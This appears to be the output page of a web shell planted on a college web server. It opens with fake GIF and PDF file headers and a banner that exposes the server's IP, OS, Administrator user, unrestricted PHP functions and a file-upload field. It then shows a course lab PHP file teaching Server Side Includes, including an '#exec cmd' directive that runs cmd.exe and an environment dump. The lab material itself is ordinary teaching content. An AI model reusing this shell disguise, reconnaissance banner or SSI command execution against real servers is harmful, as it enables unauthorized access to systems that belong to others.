GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/ |
Upload File : |
<? // JimMartinson/CST1611/Labs/Lab07/Lab07-https.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $skipAuthentication = true; include('application.phpinc'); include('Course/courseInfo.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = userName($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $noPageHeader = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. /**/ header('Content-type: text/html'); header('Pragma: no-cache'); //HTTP/1.0 header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past header('Content-Disposition: attachment; filename="ssi.shtml"'); /**/ ?> <!DOCTYPE html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?=$courseNumber?> <?=$evaluationName?> SSI</title> </head> <style type="text/css"> comment { background-color:#FFFF00; color:#FF0000; font-weight:bold; } code { background-color:#FFFFCC; color:#008000; font-family: "Courier New", Courier, monospace; font-weight:bold; margin:0px 0px 1px 0px; padding:0px 3px 0px 3px; } </style> <body> <h1><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> SSI</h1> <p> Take a screenshot of this page. <br> Save the image as <b class=""><?=$saveFilename?>_SSI.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br> Make sure that the address bar and at least one sample SSI command are visible in your browser before saving the image. </p> <p> Sample SSI commands are shown below.<br> The SSI command is first shown in <code>green</code>.<br> Followed by the output in black.<br> Comments are in <comment>red on yellow</comment>. </p> <p> <code> <!--#echo var="DATE_LOCAL" --> <br> </code> <!--#echo var="DATE_LOCAL" --> </p> <p> <code> <!--#config timefmt="%A %B %d, %Y" --><br> Today is <!--#echo var="DATE_LOCAL" --> <br> </code> <!--#config timefmt="%A %B %d, %Y" --> Today is <!--#echo var="DATE_LOCAL" --> </p> <p> <code> This document last modified <!--#flastmod file="ssi.shtml" --> <br> </code> This document last modified <!--#flastmod file="ssi.shtml" --> </p> <p> <code> <!--#include virtual="ssi_include.txt" --> <br> </code> <!--#include virtual="ssi_include.txt" --> </p> <p> <code> <pre><br> <!--#exec cmd="c:\Windows\system32\cmd.exe /c dir" --><br> </pre> <br> </code> <pre> <!--#exec cmd="c:\Windows\system32\cmd.exe /c dir" --> </pre> <comment> The #exec directive does not work in Windows! Even if it executes output is not returned and any command executed does not have any system rights. Fortunately you can use Perl or PHP scripts to execute Windows commands. <br> I have an example Perl file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/Lab07/Perl_Windows_command_example.pl">Perl_Windows_command_example.pl</a>, save it in your <b>Lab07</b> folder, and load it in your browser. <br> I also have an example PHP file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/Lab07/PHP_Windows_command_example.php">PHP_Windows_command_example.php</a>, save it in your <b>Lab07</b> folder, and load it in your browser. </comment> </p> <p> <code> <!--#echo var="REMOTE_USER"--><br> </code> <!--#echo var="REMOTE_USER"--> </p> <p> <code> <!--#echo var="DOCUMENT_NAME"--> <br> </code> <!--#echo var="DOCUMENT_NAME"--> </p> <p> <code> <!--#echo var="DOCUMENT_URI"--> <br> </code> <!--#echo var="DOCUMENT_URI"--> </p> <p> <code> <!--#echo var="LAST_MODIFIED"--> <br> </code> <!--#echo var="LAST_MODIFIED"--> </p> <p> <code> <!--#echo var="SERVER_NAME"--> <br> </code> <!--#echo var="SERVER_NAME"--> </p> <p> <code> <!--#echo var="REMOTE_ADDR"--> <br> </code> <!--#echo var="REMOTE_ADDR"--> </p> <p> <code> <!--#echo var="DATE_LOCAL"--> <br> </code> <!--#echo var="DATE_LOCAL"--> </p> <p> <code> <!--#set var="some_variable" value="Some value for some_variable" --><br> <!--#echo var="some_variable"--> <br> </code> <!--#set var="some_variable" value="Some value for some_variable" --> <!--#echo var="some_variable"--> </p> <p> <code> <pre><br> <!--#printenv --><br> </pre><br> </code> <comment>You can use <!--#echo var="ENVIRONMENT_VARIABLE"--> for any of the environment variables below:</comment> <pre> <!--#printenv --> </pre> </p> <p> <comment>You can perform simple if .. elif .. else .. endif statements:</comment> <br> <code> <!--#if expr="${some_variable} = Some value for some_variable" --><br> It looks like some_variable is set to the value "Some value for some_variable".<br> <!--#else --><br> It looks like some_variable is not set to the value "Some value for some_variable".<br> <!--#endif --><br> <!--#if expr="${some_variable} = ooga" --><br> It looks like some_variable is set to the value "ooga".<br> <!--#else --><br> It looks like some_variable is not set to the value "ooga".<br> <!--#endif --> <br> </code> <!--#if expr="${some_variable} = Some value for some_variable" --> It looks like some_variable is set to the value "Some value for some_variable".<br> <!--#else --> It looks like some_variable is not set to the value "Some value for some_variable".<br> <!--#endif --> <!--#if expr="${some_variable} = ooga" --> It looks like some_variable is set to the value "ooga".<br> <!--#else --> It looks like some_variable is not set to the value "ooga".<br> <!--#endif --> </p> </body> </html>